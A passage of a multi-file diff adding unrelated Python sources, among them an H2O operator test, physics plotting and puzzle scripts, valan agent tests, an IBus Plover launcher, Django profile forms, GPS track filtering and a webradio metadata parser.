+sys.path.insert(1, "../../../")
+import h2o
+
+def binop_neq(ip,port):
+    
+    
+
+    iris = h2o.import_file(path=h2o.locate("smalldata/iris/iris_wheader.csv"))
+    rows, cols = iris.dim()
+    iris.show()
+
+    #frame/scaler
+    res = iris != 4.7
+    res_rows, res_cols = res.dim()
+    assert res_rows == rows and res_cols == cols, "dimension mismatch"
+    new_rows = iris[res[0]].nrow()
+    assert new_rows == 148, "wrong number of rows returned"
+
+    res = 3.5 != iris
+    res_rows, res_cols = res.dim()
+    assert res_rows == rows and res_cols == cols, "dimension mismatch"
+    new_rows = iris[res[1]].nrow()
+    assert new_rows == 144, "wrong number of rows returned"
+
+    #frame/vec
+    #try:
+    #    res = iris != iris[0]
+    #    res.show()
+    #    assert False, "expected error. objects of different dimensions not supported."
+    #except EnvironmentError:
+    #    pass
+
+    #try:
+    #    res = iris[2] != iris
+    #    res.show()
+    #    assert False, "expected error. objects of different dimensions not supported."
+    #except EnvironmentError:
+    #    pass
+
+    #vec/vec
+    res = iris[0] != iris[1]
+    res_rows = res.nrow()
+    assert res_rows == rows, "dimension mismatch"
+    new_rows = iris[res].nrow()
+    assert new_rows == rows, "wrong number of rows returned"
+
+    res = iris[2] != iris[2]
+    res_rows = res.nrow()
+    assert res_rows == rows, "dimension mismatch"
+    new_rows = iris[res].nrow()
+    assert new_rows == 0, "wrong number of rows returned"
+
+    #vec/scaler
+    res = iris[0] != 4.7
+    res_rows = res.nrow()
+    assert res_rows == rows, "dimension mismatch"
+    new_rows = iris[res].nrow()
+    assert new_rows == 148, "wrong number of rows returned"
+
+    res = 3.5 != iris[1]
+    res_rows = res.nrow()
+    assert res_rows == rows, "dimension mismatch"
+    new_rows = iris[res].nrow()
+    assert new_rows == 144, "wrong number of rows returned"
+
+    # frame/frame
+    res = iris != iris
+    res_rows, res_cols = res.dim()
+    assert res_rows == rows and res_cols == cols, "dimension mismatch"
+
+    res = iris[0:2] != iris[1:3]
+    res_rows, res_cols = res.dim()
+    assert res_rows == rows and res_cols == 2, "dimension mismatch"
+
+    #try:
+    #    res = iris != iris[0:3]
+    #    res.show()
+    #    assert False, "expected error. frames are different dimensions."
+    #except EnvironmentError:
+    #    pass
+
+if __name__ == "__main__":
+    h2o.run_test(sys.argv, binop_neq)
diff --git a/pool/shard000/Python/0008221_plot.py b/pool/shard000/Python/0008221_plot.py
new file mode 100644
index 0000000000000000000000000000000000000000..15ddb8e58c70a2131506d8ec768e2a333a72832d
--- /dev/null
+++ b/pool/shard000/Python/0008221_plot.py
@@ -0,0 +1,70 @@
+# -*- coding: utf-8 -*-
+
+import numpy as np
+import sys
+import matplotlib.pyplot as plt
+
+Nv = int(sys.argv[1])
+Nh = int(sys.argv[2])
+NT = int(sys.argv[3])
+NH = int(sys.argv[4])
+T = np.ndarray(NT)
+H = np.ndarray(NH)
+x = np.ndarray((NH, NT))
+
+with open("F_T_H.dat", "r") as f:
+    i = 0
+    for line in f:
+        fields = line.split(" ")
+        if i < NT:
+            T[i] = float(fields[1])
+        if i % NT == 0:
+            H[i/NT] = float(fields[0])
+        x[i/NT,i%NT] = float(fields[2])
+        i += 1
+
+for i in range(NH):
+    plt.plot(T, x[i], marker="x", label="$H = " + str(H[i]) + "$")
+plt.grid(True)
+plt.title("$N_v = " + str(Nv) + "$, $N_h = " + str(Nh) + "$")
+plt.legend(loc=2)
+plt.xlabel("$T$ $[J]$")
+plt.ylabel("$F$ $[J]$")
+plt.ylim(ymin=0)
+plt.savefig("F_T_H.png")
+
+with open("m_T_H.dat", "r") as f:
+    i = 0
+    for line in f:
+        fields = line.split(" ")
+        x[i/NT,i%NT] = float(fields[2])
+        i += 1
+
+plt.clf()
+for i in range(NH):
+    plt.plot(T, x[i], marker="x", label="$H = " + str(H[i]) + "$")
+plt.grid(True)
+plt.title("$N_v = " + str(Nv) + "$, $N_h = " + str(Nh) + "$")
+plt.legend(loc=1)
+plt.xlabel("$T$ $[J]$")
+plt.ylabel("$m = \\frac{M}{N} = \\frac{1}{N} \\, \\frac{\partial F}{\partial H} + 1$")
+plt.ylim(0, 1)
+plt.savefig("m_T_H.png")
+
+with open("chi_T_H.dat", "r") as f:
+    i = 0
+    for line in f:
+        fields = line.split(" ")
+        x[i/NT,i%NT] = float(fields[2])
+        i += 1
+
+plt.clf()
+for i in range(NH):
+    plt.plot(T, x[i], marker="x", label="$H = " + str(H[i]) + "$")
+plt.grid(True)
+plt.title("$N_v = " + str(Nv) + "$, $N_h = " + str(Nh) + "$")
+plt.legend(loc=1)
+plt.xlabel("$T$ $[J]$")
+plt.ylabel("$\\chi = \\frac{\partial m}{\partial H} = \\frac{1}{N} \\, \\frac{\partial^2 F}{\partial H^2}$ $[1/J]$")
+plt.ylim(0, 3.5)
+plt.savefig("chi_T_H.png")
diff --git a/pool/shard000/Python/0008223_leonardo_s_monorail.py b/pool/shard000/Python/0008223_leonardo_s_monorail.py
new file mode 100644
index 0000000000000000000000000000000000000000..f70d7cec720092a8dea67ad7bd981efcb4e7c031
--- /dev/null
+++ b/pool/shard000/Python/0008223_leonardo_s_monorail.py
@@ -0,0 +1,71 @@
+"""
+Jordi explained that a recursive search may not work as you might
+first follow an extremely long path.
+Thus, the process should be done by levels
+"""
+import os
+from collections import defaultdict
+
+
+class Computer:
+
+    def __init__(self):
+        self.operations = {'cpy': self.copy, 'inc': self.add, 'dec': self.subs, 'jnz': self.jump}
+        self.registers = defaultdict(int)
+        self.instruction = 0
+
+    def run(self, program):
+        while self.instruction < len(program):
+            values = program[self.instruction].split(' ')
+            self.operations[values[0]](*(values[1:]))
+            self.instruction += 1
+
+    def get_val(self, v):
+        try:
+            return int(v)
+        except ValueError:
+            return self.registers[v]
+
+    def copy(self, value, register):
+        self.registers[register] = self.get_val(value)
+
+    def add(self, register):
+        self.registers[register] += 1
+
+    def subs(self, register):
+        self.registers[register] -= 1
+
+    def jump(self, register, amount):
+        if self.get_val(register) != 0:
+            self.instruction += (int(amount) - 1)
+
+
+    def get(self, register=None):
+        if register is None:
+            return self.registers
+        else:
+            return self.registers[register]
+
+
+
+if __name__ == '__main__':
+    dir = os.path.dirname(__file__)
+    file = os.path.join(dir, 'input.txt')
+    program = []
+    with open(file) as fd:
+        for line in fd:
+            program.append(line.strip())
+
+    computer = Computer()
+
+    computer.run(program)
+
+    print('Part 1:', computer.get('a'))
+
+    program = ['cpy 1 c'] + program
+
+    computer = Computer()
+
+    computer.run(program)
+
+    print('Part 2:', computer.get('a'))
diff --git a/pool/shard000/Python/0008226_discriminator_agent_test.py b/pool/shard000/Python/0008226_discriminator_agent_test.py
new file mode 100644
index 0000000000000000000000000000000000000000..30f778264e26b6f447d533418aec6a1364d4bf32
--- /dev/null
+++ b/pool/shard000/Python/0008226_discriminator_agent_test.py
@@ -0,0 +1,233 @@
+# coding=utf-8
+# Copyright 2019 Google LLC
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+"""Tests for valan.r2r.discriminator_agent."""
+
+from __future__ import absolute_import
+from __future__ import division
+from __future__ import print_function
+
+import os
+from absl import flags
+from absl.testing import parameterized
+import numpy as np
+import tensorflow.compat.v2 as tf
+from valan.framework import common
+from valan.framework import hparam
+from valan.framework import utils
+from valan.r2r import agent_config
+from valan.r2r import constants
+from valan.r2r import discriminator_agent
+from valan.r2r import env
+from valan.r2r import env_config
+
+FLAGS = flags.FLAGS
+
+
+class DiscriminatorTest(tf.test.TestCase, parameterized.TestCase):
+
+  def setUp(self):
+    super(DiscriminatorTest, self).setUp()
+    self.data_dir = FLAGS.test_srcdir + (
+        'valan/r2r/testdata')
+    self._env_config = hparam.HParams(
+        problem='R2R',
+        scan_base_dir=self.data_dir,
+        data_base_dir=self.data_dir,
+        vocab_dir=self.data_dir,
+        vocab_file='vocab.txt',
+        images_per_pano=36,
+        max_conns=14,
+        image_encoding_dim=64,
+        direction_encoding_dim=256,
+        image_features_dir=os.path.join(self.data_dir, 'image_features'),
+        instruction_len=50,
+        max_agent_actions=6,
+        project_decoder_input_states=True,
+        use_all_final_states=False,
+        reward_fn=env_config.RewardFunction.get_reward_fn('distance_to_goal'))
+
+    self._runtime_config = common.RuntimeConfig(task_id=0, num_tasks=100)
+    self._env = env.R2REnv(
+        data_sources=['R2R_small_split'],
+        runtime_config=self._runtime_config,
+        env_config=self._env_config)
+    self.num_panos = 36
+    self.image_feature_size = 64
+    self.direction_encoding_dim = 256
+    self.num_actions = 14
+    self.time_step = 3
+    self.batch_size = 2
+    done = np.array([[False, True], [True, False], [True, False]])
+    self._test_environment = common.EnvOutput(
+        reward=0,
+        done=done,
+        observation={
+            constants.PATH_ID:  # Shape = [time, batch]
+                np.array([[2, 1], [0, 1], [0, 1]]),
+            constants.IS_START:  # Shape = [time, batch]
+                np.array([[False, True], [True, False], [False, False]]),
+            constants.DISC_MASK:  # Shape = [time, batch]
+                np.array([[False, True], [True, True], [True, True]]),
+            constants.PANO_ENC:  # Shape = [time, batch, num_panos, featur_size]
+                tf.random.normal([
+                    self.time_step, self.batch_size, self.num_panos,
+                    self.image_feature_size + self.direction_encoding_dim
+                ]),
+            constants.CONN_ENC:
+                # Shape = [time, batch, num_actions, feature_size]
+                tf.random.normal([
+                    self.time_step, self.batch_size, self.num_actions,
+                    self.image_feature_size + self.direction_encoding_dim
+                ]),
+            constants.PREV_ACTION_ENC:
+                # Shape = [time, batch, feature_size]
+                tf.random.normal([
+                    self.time_step, self.batch_size,
+                    self.image_feature_size + self.direction_encoding_dim
+                ]),
+            constants.NEXT_GOLDEN_ACTION_ENC:
+                # Shape = [time, batch, feature_size]
+                tf.random.normal([
+                    self.time_step, self.batch_size,
+                    self.image_feature_size + self.direction_encoding_dim
+                ]),
+            constants.INS_TOKEN_IDS:  # Shape = [time, batch, token_len]
+                np.array([[[5, 3, 2, 1, 0], [3, 4, 5, 6, 1]],
+                          [[3, 6, 1, 0, 0], [3, 4, 5, 6, 1]],
+                          [[3, 6, 1, 0, 0], [3, 4, 5, 6, 1]]]),
+            constants.INS_LEN:  # Shape = [time, batch]
+                np.tile(np.array([[3]]), [self.time_step, self.batch_size]),
+            constants.VALID_CONN_MASK:
+                # Shape = [time, batch, num_connections]
+                np.tile(
+                    np.array([[[True] * 14], [[True] * 5 + [False] * 9],
+                              [[True] * 2 + [False] * 12]]),
+                    [1, self.batch_size, 1]),
+            constants.LABEL:
+                # Shape = [time, batch]
+                np.array([[False, False], [True, False], [True, False]])
+        },
+        info='')
+    self._agent_config = agent_config.get_r2r_agent_config()
+
+  def _get_agent(self,
+                 agent_type,
+                 init_with_text_state=True,
+                 avg_all_img_states=False,
+                 embed_action=True):
+    self._agent_config.add_hparam('init_image_enc_with_text_state',
+                                  init_with_text_state)
+    self._agent_config.add_hparam('average_image_states_of_all_steps',
+                                  avg_all_img_states)
+    self._agent_config.embed_action = embed_action
+    if agent_type == 'default':
+      self._agent = discriminator_agent.DiscriminatorAgent(
+          self._agent_config)
+    elif agent_type == 'v2':
+      self._agent = discriminator_agent.DiscriminatorAgentV2(
+          self._agent_config)
+    else:
+      raise ValueError('agent_type must be `default` or `v2`.')
+
+  def test_call(self):
+    self._get_agent('default')
+    env_output = self._env.reset()
+    observation = tf.nest.map_structure(lambda t: tf.expand_dims(t, 0),
+                                        env_output.observation)
+    initial_agent_state = self._agent.get_initial_state(
+        observation, batch_size=1)
+    # Agent always expects time,batch dimensions. First add and then remove.
+    env_output = utils.add_time_batch_dim(env_output)
+    agent_output, _ = self._agent(env_output, initial_agent_state)
+    initial_agent_state = ([
+        (tf.random.normal([self.batch_size,
+                           512]), tf.random.normal([self.batch_size, 512])),
+        (tf.random.normal([self.batch_size,
+                           512]), tf.random.normal([self.batch_size, 512]))
+    ], tf.random.normal([self.batch_size, 5, 512]))
+    agent_output, _ = self._agent(self._test_environment, initial_agent_state)
+    self.assertEqual(agent_output.policy_logits.shape, [3, self.batch_size])
+
+  @parameterized.named_parameters(
+      ('Regular_mask', False, True, False),
+      ('Regular_mask_init0', False, False, False),
+      ('Regular_mask_avg_states', False, False, True),
+      ('Zero_mask', True, True, False),
+      ('Zero_mask_avg_states', True, True, True),)
+  def test_call_v2(self, zero_mask, init_with_text_state, avg_all_img_states):
+    self._get_agent('v2', init_with_text_state, avg_all_img_states)
+    if zero_mask:
+      disc_mask = np.tile(np.array([[False]] * 3), [1, self.batch_size])
+      observation = self._test_environment.observation
+      observation[constants.DISC_MASK] = disc_mask
+      self._test_environment._replace(observation=observation)
+
+    env_output = self._env.reset()
+    observation = tf.nest.map_structure(lambda t: tf.expand_dims(t, 0),
+                                        env_output.observation)
+    initial_agent_state = self._agent.get_initial_state(
+        observation, batch_size=1)
+    # Tests batch_size =1 for actor's scenario.
+    # Agent always expects time,batch dimensions. First add and then remove.
+    env_output = utils.add_time_batch_dim(env_output)
+    agent_output, _ = self._agent(env_output, initial_agent_state)
+    # Output shape = [time, batch, ...]
+    self.assertEqual(agent_output.policy_logits['similarity'].shape, [1, 1, 1])
+    self.assertEqual(agent_output.policy_logits['labels'].shape, [1, 1])
+    self.assertEqual(agent_output.baseline.shape, [1, 1])
+
+    # Remove time-batch dims for single env_output (i.e., batch=1, timestep=1).
+    env_output, agent_output = utils.remove_time_batch_dim(env_output,
+                                                           agent_output)
+    self.assertEqual(agent_output.policy_logits['similarity'].shape, [1])
+    self.assertEqual(agent_output.policy_logits['labels'].shape, [])
+    self.assertEqual(agent_output.baseline.shape, [])
+
+    # Tests with custom states and env.
+    initial_input_state = [(tf.random.normal([self.batch_size, 512]),
+                            tf.random.normal([self.batch_size, 512])),
+                           (tf.random.normal([self.batch_size, 512]),
+                            tf.random.normal([self.batch_size, 512]))]
+    text_enc_output = tf.random.normal([self.batch_size, 5, 512])
+    initial_agent_state = (initial_input_state,
+                           (text_enc_output,
+                            tf.nest.map_structure(tf.identity,
+                                                  initial_input_state)))
+
+    agent_output, _ = self._agent(self._test_environment, initial_agent_state)
+
+    # Note that the agent_output has an extra time dim.
+    self.assertEqual(agent_output.policy_logits['similarity'].shape,
+                     [1, self.batch_size, self.batch_size])
+    self.assertEqual(agent_output.policy_logits['similarity_mask'].shape,
+                     [1, self.batch_size, self.batch_size])
+    self.assertEqual(agent_output.policy_logits['labels'].shape,
+                     [1, self.batch_size])
+    self.assertEqual(agent_output.baseline.shape, [1, self.batch_size])
+
+    if zero_mask:
+      expected_similarity_mask = [[[True, True], [True, True]]]
+      expected_labels = [[0.0, 0.0]]
+    else:
+      expected_similarity_mask = [[[True, True], [True, True]]]
+      expected_labels = [[1.0, 0.0]]
+    self.assertAllEqual(agent_output.policy_logits['similarity_mask'],
+                        expected_similarity_mask)
+    self.assertAllEqual(agent_output.policy_logits['labels'], expected_labels)
+
+
+if __name__ == '__main__':
+  tf.enable_v2_behavior()
+  tf.test.main()
diff --git a/pool/shard000/Python/0008230_main.py b/pool/shard000/Python/0008230_main.py
new file mode 100644
index 0000000000000000000000000000000000000000..b5a42835f22ea20591f29cb6600728b7d33a9097
--- /dev/null
+++ b/pool/shard000/Python/0008230_main.py
@@ -0,0 +1,108 @@
+# vim: set fileencoding=utf-8 :
+#
+# ibus-plover - Plover support for Input Bus
+#
+# Copyright (c) 2013-2014 Benoit Pierre <benoit.pierre@gmail.com>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2, or (at your option)
+# any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+
+from gi.repository import IBus
+from gi.repository import GLib
+from gi.repository import GObject
+
+import os
+import sys
+import getopt
+import locale
+import logging
+
+from config import DATA_DIR
+from engine import EnginePlover
+
+class IMApp:
+
+    def __init__(self, exec_by_ibus):
+        component = IBus.Component.new_from_file('%s/plover.xml' % DATA_DIR)
+        self.__component = component
+        self.__mainloop = GLib.MainLoop()
+        self.__bus = IBus.Bus()
+        self.__bus.connect("disconnected", self.__bus_disconnected_cb)
+        self.__factory = IBus.Factory.new(self.__bus.get_connection())
+        self.__factory.add_engine('plover', GObject.type_from_name("EnginePlover"))
+        if exec_by_ibus:
+            self.__bus.request_name("org.freedesktop.IBus.Plover", 0)
+        else:
+            self.__bus.register_component(self.__component)
+
+    def run(self):
+        self.__mainloop.run()
+
+    def __bus_disconnected_cb(self, bus):
+        self.__mainloop.quit()
+
+
+def launch_engine(exec_by_ibus):
+    IBus.init()
+    IMApp(exec_by_ibus).run()
+
+def print_help(out, v = 0):
+    print >> out, "-i, --ibus             executed by IBus."
+    print >> out, "-h, --help             show this message."
+    print >> out, "-d, --daemonize        daemonize ibus"
+    sys.exit(v)
+
+def main():
+    try:
+        locale.setlocale(locale.LC_ALL, "")
+    except:
+        pass
+
+    exec_by_ibus = False
+    daemonize = False
+
+    shortopt = "ihd"
+    longopt = ["ibus", "help", "daemonize"]
+
+    try:
+        opts, args = getopt.getopt(sys.argv[1:], shortopt, longopt)
+    except getopt.GetoptError, err:
+        print_help(sys.stderr, 1)
+
+    for o, a in opts:
+        if o in ("-h", "--help"):
+            print_help(sys.stdout)
+        elif o in ("-d", "--daemonize"):
+            daemonize = True
+        elif o in ("-i", "--ibus"):
+            exec_by_ibus = True
+        else:
+            print >> sys.stderr, "Unknown argument: %s" % o
+            print_help(sys.stderr, 1)
+
+    if daemonize:
+        if os.fork():
+            sys.exit()
+
+    if not exec_by_ibus and not daemonize:
+        logging.basicConfig()
+        logging.getLogger('ibus.plover').setLevel(logging.DEBUG)
+    else:
+        logging.basicConfig(filename='/tmp/ibus-plover.log', level=logging.DEBUG)
+
+    launch_engine(exec_by_ibus)
+
+if __name__ == "__main__":
+    main()
+
diff --git a/pool/shard000/Python/0008237_forms.py b/pool/shard000/Python/0008237_forms.py
new file mode 100644
index 0000000000000000000000000000000000000000..07a85918dc6e1a73d521458aac70568a26c3e54f
--- /dev/null
+++ b/pool/shard000/Python/0008237_forms.py
@@ -0,0 +1,103 @@
+# -*- coding: utf-8 -*-
+"""
+This module contains the forms for profile editing by a secretary and
+als for the manager to search for a secretary.
+
+:subtitle:`Class definitions:`
+"""
+from django import forms
+from django.utils.translation import ugettext_lazy as _
+
+from apps.account.forms import BaseProfileEditForm, BasePasswordProfileEditForm
+from apps.healthperson.healthprofessional.models import SPECIALISM_CHOICES
+from core.forms import BaseForm
+
+
+class SecretarySearchForm(BaseForm):
+    '''
+    Search for a secretary by last_name or specialism, used
+    by a manager.
+    '''
+    last_name = forms.CharField(
+        max_length=128, label=_('Achternaam'), required=False)
+    specialism = forms.TypedChoiceField(
+        label=_('Specialisme'), required=False)
+
+    def __init__(self, *args, **kwargs):
+        super(SecretarySearchForm, self).__init__(*args, **kwargs)
+
+        # Set specialism list
+        specialism_choices = list(SPECIALISM_CHOICES)
+        specialism_choices.insert(0, ('', '---------'))
+        self.fields['specialism'].choices = specialism_choices
+
+
+class SecretaryEditForm(BasePasswordProfileEditForm):
+    '''
+    Edit secretary profile/personalia form
+    '''
+    specialism = forms.TypedChoiceField(label=_('Specialisme'), required=True)
+
+    def __init__(self, *args, **kwargs):
+        super(SecretaryEditForm, self).__init__(*args, **kwargs)
+
+        # Set specialism list
+        specialism_choices = list(SPECIALISM_CHOICES)
+        specialism_choices.insert(0, ('', '---------'))
+        self.fields['specialism'].choices = specialism_choices
+
+        if self.instance:
+            self.fields['specialism'].initial =\
+                self.instance.healthperson.specialism
+
+        # Minimal age is 16, so remove the last 16 year choices..
+        self.fields['date_of_birth'].years =\
+            self.fields['date_of_birth'].years[:-16]
+        self.fields['date_of_birth'].widget.years =\
+            self.fields['date_of_birth'].years
+
+    class Meta(BasePasswordProfileEditForm.Meta):
+        exclude = BasePasswordProfileEditForm.Meta.exclude + (
+            'BSN', 'local_hospital_number',
+            'hospital',)
+        fieldsets = (
+            (None, {'fields': ('title', 'first_name',
+                               'initials', 'last_name',
+                               'prefix', 'gender', 'date_of_birth',)}),
+            (None, {'fields': ('mobile_number', 'mobile_number2',
+                               'email', 'email2')}),
+            (None, {'fields': ('specialism', 'change_password')}),
+            ('change_password', {'fields': ('password', 'password2')}),
+        )
+
+
+class SecretaryAddForm(BaseProfileEditForm):
+    '''
+    Add new secretary form
+    '''
+    specialism = forms.TypedChoiceField(label=_('Specialisme'), required=True)
+
+    def __init__(self, *args, **kwargs):
+        super(SecretaryAddForm, self).__init__(*args, **kwargs)
+
+        # Set specialism list
+        specialism_choices = list(SPECIALISM_CHOICES)
+        specialism_choices.insert(0, ('', '---------'))
+        self.fields['specialism'].choices = specialism_choices
+
+        # Minimal age is 16, so remove the last 16 year choices..
+        self.fields['date_of_birth'].years =\
+            self.fields['date_of_birth'].years[:-16]
+        self.fields['date_of_birth'].widget.years =\
+            self.fields['date_of_birth'].years
+
+    class Meta(BaseProfileEditForm.Meta):
+        exclude = BaseProfileEditForm.Meta.exclude
+        fieldsets = (
+            (None, {'fields': ('title', 'first_name', 'initials',
+                               'last_name',
+                               'prefix', 'gender', 'date_of_birth')}),
+            (None, {'fields': ('mobile_number', 'mobile_number2',
+                               'email', 'email2',
+                               'specialism')}),
+        )
diff --git a/pool/shard000/Python/0008240_track.py b/pool/shard000/Python/0008240_track.py
new file mode 100644
index 0000000000000000000000000000000000000000..38d893aa92848034455dc9a5dd00cb51ab96ec72
--- /dev/null
+++ b/pool/shard000/Python/0008240_track.py
@@ -0,0 +1,78 @@
+#
+# AnTrak - Activity and location data analysis
+#
+# Copyright (C) 2017-2018 by Artur Wroblewski <wrobell@riseup.net>
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#
+
+import itertools
+from toolz.itertoolz import sliding_window
+
+from antrak.dao import track as track_dao
+from antrak.db import tx
+from antrak.nmea import parse_pos
+from antrak.util import flatten
+
+FMT_TRACK_LIST = '{:%Y-%m-%d} {} {}'.format
+
+def filter_quality(positions):
+    """
+    Filter out bad quality positions.
+
+    3D, good positions are kept - for `good` definition see Wikipedia
+    article about `dilution of precision
+    <https://en.wikipedia.org/wiki/Dilution_of_precision_(navigation)>`_.
+    """
+    return (
+        p for p in positions
+        if p.properties['is_3d']
+            and p.properties['hdop'] < 5
+            and p.properties['vdop'] < 5
+            and p.properties['pdop'] < 5
+    )
+
+def check_altitude_speed(p1, p2):
+    td = abs(p2.properties['timestamp'] - p1.properties['timestamp']).total_seconds()
+    # TODO: make time difference and altitude speed limits configurable
+    return td >= 10 or abs(p2.z - p1.z) / td < 10
+
+def filter_altitude_speed(positions):
+    return (
+        p1 for p1, p2 in sliding_window(2, positions)
+        if check_altitude_speed(p2, p1)
+    )
+
+@tx
+def save_pos(dev, files):
+    positions = flatten(parse_pos(open(fn)) for fn in files)
+    positions = (p for p in positions if p)
+    positions = filter_quality(positions)
+    positions = filter_altitude_speed(positions)
+    return track_dao.save_pos(dev, positions)
+
+@tx
+async def track_set(dev, trip, name, start, end):
+    start, end = await track_dao.find_period(dev, start, end)
+    task = await track_dao.add(dev, trip, name, start, end)
+    return task
+
+@tx
+async def track_list(dev, query=''):
+    data = await track_dao.track_list(dev, query=query)
+    for item in data:
+        print(FMT_TRACK_LIST(item['start'], item['trip'], item['name']))
+
+# vim: sw=4:et:ai
+
diff --git a/pool/shard000/Python/0008244_16.py b/pool/shard000/Python/0008244_16.py
new file mode 100644
index 0000000000000000000000000000000000000000..c5ee325104bebdd78916fc59da28cd88b276890e
--- /dev/null
+++ b/pool/shard000/Python/0008244_16.py
@@ -0,0 +1,36 @@
+from cachetools import cached
+from math import sqrt
+
+
+# @cached(cache={})
+def divisors(n):
+    divs = {1, n}
+    
+    for x in range(2, int(sqrt(n))+1):
+        if n % x == 0:
+            divs.add(x)
+            divs.add(n // x)
+
+    return divs
+
+
+def test_divisors():
+    assert divisors(12) == {1, 2, 3, 4, 6, 12}
+
+
+if __name__ == '__main__':
+    c = 0
+    for x in range(2, 1000000):
+        divs = divisors(x)
+        s = sum(divs)
+
+        if s > 2*x:
+            diff = s - 2*x
+            f = sqrt(diff)
+
+            if int(f)**2 == diff:
+                c += 1
+                print(x, c)
+
+    print("---")
+    print(c)
diff --git a/pool/shard000/Python/0008248_webradio.py b/pool/shard000/Python/0008248_webradio.py
new file mode 100644
index 0000000000000000000000000000000000000000..71d7944041c0874fab25eab3ebf7b1500c393155
--- /dev/null
+++ b/pool/shard000/Python/0008248_webradio.py
@@ -0,0 +1,106 @@
+# -*- coding: iso-8859-1 -*-
+# -----------------------------------------------------------------------------
+# webradio.py - read webradio attributes
+# -----------------------------------------------------------------------------
+# $Id: webradio.py 2581 2007-03-22 14:16:50Z tack $
+#
+# -----------------------------------------------------------------------------
+# kaa-Metadata - Media Metadata for Python
+# Copyright (C) 2003-2006 Thomas Schueppel, Dirk Meyer
+#
+# First Edition: Thomas Schueppel <stain@acm.org>
+# Maintainer:    Dirk Meyer <dischi@freevo.org>
+#
+# Please see the file AUTHORS for a complete list of authors.
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of MER-
+# CHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
+# Public License for more details.
+#
+# You should have received a copy of the GNU General Public License along
+# with this program; if not, write to the Free Software Foundation, Inc.,
+# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+#
+# -----------------------------------------------------------------------------
+
+from __future__ import absolute_import
+
+__all__ = ['Parser']
+
+# python imports
+import urlparse
+import string
+import urllib
+
+# import kaa_metadata.audio core
+from . import core
+
+
+# http://205.188.209.193:80/stream/1006
+
+ICY = { 'icy-name': 'title',
+        'icy-genre': 'genre',
+        'icy-br': 'bitrate',
+        'icy-url': 'caption'
+      }
+
+class WebRadio(core.Music):
+
+    table_mapping = { 'ICY' : ICY }
+
+    def __init__(self, url):
+        core.Music.__init__(self)
+        tup = urlparse.urlsplit(url)
+        scheme, location, path, query, fragment = tup
+        if scheme != 'http':
+            raise core.ParseError()
+
+        # Open an URL Connection
+        fi = urllib.urlopen(url)
+
+        # grab the statusline
+        self.statusline = fi.readline()
+        try:
+            statuslist = string.split(self.statusline)
+        except ValueError:
+            # assume it is okay since so many servers are badly configured
+            statuslist = ["ICY", "200"]
+
+        if statuslist[1] != "200":
+            if fi:
+                fi.close()
+            raise core.ParseError()
+
+        self.type = 'audio'
+        self.subtype = 'mp3'
+        # grab any headers for a max of 10 lines
+        linecnt = 0
+        tab = {}
+        lines = fi.readlines(512)
+        for linecnt in range(0,11):
+            icyline = lines[linecnt]
+            icyline = icyline.rstrip('\r\n')
+            if len(icyline) < 4:
+                break
+            cidx = icyline.find(':')
+            if cidx != -1:
+                # break on short line (ie. really should be a blank line)
+                # strip leading and trailing whitespace
+                tab[icyline[:cidx].strip()] = icyline[cidx+2:].strip()
+        if fi:
+            fi.close()
+        self._appendtable('ICY', tab)
+
+
+    def _finalize(self):
+        core.Music._finalize(self)
+        self.bitrate = string.atoi(self.bitrate)*1000
+
+
+Parser = WebRadio
diff --git a/pool/shard000/Python/0008251_orders.py b/pool/shard000/Python/0008251_orders.py
new file mode 100644
index 0000000000000000000000000000000000000000..a278a1470ddf859b44996859792ce1ad7a1948ca
--- /dev/null
+++ b/pool/shard000/Python/0008251_orders.py
@@ -0,0 +1,70 @@
+"""Order dummy data."""
+
+from store.orders.models import Order
+# from store.orders.models import OrderConsistsOf
+
+
+# Orders
+o1 = Order('cid1')
+o2 = Order('cid2')
+o3 = Order('cid3')
+o4 = Order('cid4')
+o5 = Order('cid5')
+o6 = Order('cid6')
+o7 = Order('cid7')
+o8 = Order('cid8')
+o9 = Order('cid9')
+o10 = Order('cid10')
+o11 = Order('cid1')
+o12 = Order('cid1')
+o13 = Order('cid1')
+o14 = Order('cid2')
+o15 = Order('cid7')
+o16 = Order('cid7')
+o17 = Order('cid7')
+o18 = Order('cid3')
+
+
+# oco1 = OrderConsistsOf(o1.id'9780439139595', 3)
+# oco2 = OrderConsistsOf(o2.id'9780345803498', 5)
+# oco3 = OrderConsistsOf(o3.id'9780345803498', 1)
+# oco4 = OrderConsistsOf(o4.id'9780345803481', 2)
+# oco5 = OrderConsistsOf(o5.id'9780545139700', 5)
+# oco6 = OrderConsistsOf(o6.id'9780439358071', 4)
+# oco7 = OrderConsistsOf(o7.id'9780439139595', 5)
+# oco8 = OrderConsistsOf(o8.id'9780439784542', 3)
+# oco9 = OrderConsistsOf(o9.id'9780439784542', 5)
+# oco10 = OrderConsistsOf(o10.id'9780439784542', 15)
+
+
+sample_list = []
+# Orders
+sample_list.append(o1)
+sample_list.append(o2)
+sample_list.append(o3)
+sample_list.append(o4)
+sample_list.append(o5)
